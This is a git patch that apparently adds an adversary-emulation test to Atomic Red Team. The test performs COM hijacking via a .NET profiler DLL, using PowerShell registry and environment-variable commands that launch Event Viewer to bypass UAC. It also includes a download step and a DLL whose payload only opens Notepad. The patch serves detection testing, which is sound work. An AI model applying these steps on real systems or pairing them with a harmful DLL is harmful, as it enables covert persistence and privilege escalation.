From 9b73020cee2ee860dc9d79effde0e32b0e8e9567 Mon Sep 17 00:00:00 2001 From: Jesse Brown Date: Fri, 1 May 2020 20:36:27 -0400 Subject: [PATCH] add T1122 COM Hijacking leveraging .NET profiler dll (#969) * t1122 first blood * add T1122 COM Hijacking leveraging .NET profiler dll * update gitignore an cleanup * a little more clean up :D and gitignores * remove precopiled objs --- .gitignore | 16 ++ atomics/T1122/T1122.yaml | 50 ++++++ atomics/T1122/bin/T1122x64.dll | Bin 0 -> 9728 bytes atomics/T1122/src/atomicNotepad.sln | 31 ++++ .../src/atomicNotepad/atomicNotepad.vcxproj | 169 ++++++++++++++++++ .../atomicNotepad.vcxproj.filters | 33 ++++ .../atomicNotepad/atomicNotepad.vcxproj.user | 4 + atomics/T1122/src/atomicNotepad/dllmain.cpp | 19 ++ atomics/T1122/src/atomicNotepad/framework.h | 5 + atomics/T1122/src/atomicNotepad/pch.cpp | 5 + atomics/T1122/src/atomicNotepad/pch.h | 13 ++ .../T1122/src/x64/Release/atomicNotepad.dll | Bin 0 -> 9728 bytes 12 files changed, 345 insertions(+) create mode 100644 atomics/T1122/T1122.yaml create mode 100644 atomics/T1122/bin/T1122x64.dll create mode 100644 atomics/T1122/src/atomicNotepad.sln create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user create mode 100644 atomics/T1122/src/atomicNotepad/dllmain.cpp create mode 100644 atomics/T1122/src/atomicNotepad/framework.h create mode 100644 atomics/T1122/src/atomicNotepad/pch.cpp create mode 100644 atomics/T1122/src/atomicNotepad/pch.h create mode 100644 atomics/T1122/src/x64/Release/atomicNotepad.dll diff --git a/.gitignore b/.gitignore index 728f7463..b07d4684 100644 --- a/.gitignore +++ b/.gitignore @@ -2,8 +2,24 @@ .DS_Store .vscode .atom + atomic-red-team/enterprise-attack.json +# Compiled Object files +*.slo +*.lo +*.o +*.obj + +# vs logs +*.tlog +*.log + +# Precompiled Headers +*.gch +*.pch + + docs/.sass-cache/ docs/_site/ **/Invoke-AtomicTest-ExecutionLog.csv diff --git a/atomics/T1122/T1122.yaml b/atomics/T1122/T1122.yaml new file mode 100644 index 00000000..99ca39ce --- /dev/null +++ b/atomics/T1122/T1122.yaml @@ -0,0 +1,50 @@ +--- +attack_technique: T1122 +display_name: Component Object Model (COM) Hijacking + +atomic_tests: +- name: COM Hijack Leveraging .NET profiler DLL + description: | + Creates environment variables and CLSID to enable a .NET profiler. The profiler DLL (`atomicNotepad.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. + + supported_platforms: + - windows + + input_arguments: + file_name: + description: profiler DLL + type: Path + default: PathToAtomicsFolder\T1122\bin\T1122x64.dll + clsid_guid: + description: custom clsid guid + type: String + default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" + + dependency_executor_name: powershell + dependencies: + - description: | + #{file_name} must be present + prereq_command: | # commands to check if prerequisites for running this test are met. For the "command_prompt" executor, if any command returns a non-zero exit code, the pre-requisites are not met. For the "powershell" executor, all commands are run as a script block and the script block must return 0 for success. + if (Test-Path #{file_name}) {exit 0} else {exit 1} + get_prereq_command: | + New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1122/bin/T1122x64.dll" -OutFile "#{file_name}" + + executor: + name: powershell + elevation_required: false + command: | + Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan + New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value #{file_name} -Force | Out-Null + New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null + New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null + New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null + Write-Host "executing eventvwr.msc" -ForegroundColor Cyan + START MMC.EXE EVENTVWR.MSC + Start-Sleep 5 + cleanup_command: | + Write-Host "Removing registry keys" -ForegroundColor Cyan + Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force + Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force | Out-Null + Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force | Out-Null + Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Force | Out-Null \ No newline at end of file diff --git a/atomics/T1122/bin/T1122x64.dll b/atomics/T1122/bin/T1122x64.dll new file mode 100644 index 0000000000000000000000000000000000000000..d198b0aac485fde940250276db0e6a43a054a622 GIT binary patch literal 9728 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 z + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {53529597-67F0-4159-AD9B-DE118E7C1A0D} + Win32Proj + atomicNotepad + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + true + WIN32;_DEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + + + Windows + true + false + + + + + Use + Level3 + true + _DEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + + + Windows + true + false + + + + + Use + Level3 + true + true + true + WIN32;NDEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + + + Windows + true + true + true + false + + + + + Use + Level3 + true + true + true + NDEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + pch.h + + + Windows + true + true + true + false + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters new file mode 100644 index 00000000..d4f9881b --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/T1122/src/atomicNotepad/dllmain.cpp b/atomics/T1122/src/atomicNotepad/dllmain.cpp new file mode 100644 index 00000000..3aa1a7ca --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "pch.h" + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + WinExec("notepad.exe", SW_SHOWNORMAL); + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/atomics/T1122/src/atomicNotepad/framework.h b/atomics/T1122/src/atomicNotepad/framework.h new file mode 100644 index 00000000..54b83e94 --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/atomics/T1122/src/atomicNotepad/pch.cpp b/atomics/T1122/src/atomicNotepad/pch.cpp new file mode 100644 index 00000000..64b7eef6 --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/atomics/T1122/src/atomicNotepad/pch.h b/atomics/T1122/src/atomicNotepad/pch.h new file mode 100644 index 00000000..885d5d62 --- /dev/null +++ b/atomics/T1122/src/atomicNotepad/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/atomics/T1122/src/x64/Release/atomicNotepad.dll b/atomics/T1122/src/x64/Release/atomicNotepad.dll new file mode 100644 index 0000000000000000000000000000000000000000..d198b0aac485fde940250276db0e6a43a054a622 GIT binary patch literal 9728 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 z